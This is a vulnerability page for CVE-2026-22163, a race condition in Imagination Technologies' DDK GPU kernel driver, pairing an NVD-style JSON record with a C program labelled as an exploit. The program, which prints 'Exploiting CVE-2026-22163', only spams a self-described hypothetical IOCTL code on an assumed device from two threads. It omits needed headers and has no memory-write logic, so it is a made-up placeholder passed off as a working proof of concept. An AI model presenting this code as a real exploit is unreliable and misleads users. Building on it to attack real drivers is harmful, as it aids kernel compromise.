CVE-2026-22163

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Vulnerable IOCTL code definition (hypothetical) #define VULN_IOCTL_CODE 0x8000 void* trigger_race(void* arg) { int fd = *(int*)arg; // Malicious IOCTL call to trigger race condition while(1) { ioctl(fd, VULN_IOCTL_CODE, NULL); } return NULL; } int main() { // Open the DDK kernel module device int fd = open("/dev/gpu_ddk_device", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Exploiting CVE-2026-22163...\n"); // Create threads to exploit concurrent access pthread_t t1, t2; pthread_create(&t1, NULL, trigger_race, &fd); pthread_create(&t2, NULL, trigger_race, &fd); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); printf("Exploit finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-22163", "sourceIdentifier": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "published": "2026-03-20T23:16:42.640", "lastModified": "2026-04-21T16:53:35.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Requires malware code to misuse the DDK kernel module IOCTL interface.\n\nSuch code can use the interface in an unsupported way that allows subversion of the GPU to perform writes to arbitrary physical memory pages.\n\nThe product utilises a shared resource in a concurrent manner but does not attempt to synchronise access to the resource."}, {"lang": "es", "value": "Requiere que el código de malware haga un uso indebido de la interfaz IOCTL del módulo kernel DDK.\n\nDicho código puede usar la interfaz de una manera no soportada que permite la subversión de la GPU para realizar escrituras en páginas de memoria física arbitrarias.\n\nEl producto utiliza un recurso compartido de manera concurrente, pero no intenta sincronizar el acceso al recurso."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-820"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndIncluding": "25.3", "matchCriteriaId": "353FDA3E-D8FC-4482-82E9-E86AD9455FB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:1.17:*:*:*:*:*:*:*", "matchCriteriaId": "1C2A0AE6-35B7-4221-8E49-6CF3AD9B3927"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:1.18:*:*:*:*:*:*:*", "matchCriteriaId": "822E865A-168C-4F82-95C7-B1752575C175"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:23.2:*:*:*:*:*:*:*", "matchCriteriaId": "6F512C3D-CF11-492B-8CAB-CF51965F4250"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:24.1:*:*:*:*:*:*:*", "matchCriteriaId": "8C31AED8-475E-464F-856B-9F5760CEBDF4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:24.2:*:*:*:*:*:*:*", "matchCriteriaId": "1C9CC454-864E-46E5-AD29-E81F8290EDEC"}]}]}], "references": [{"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "tags": ["Vendor Advisory"]}]}}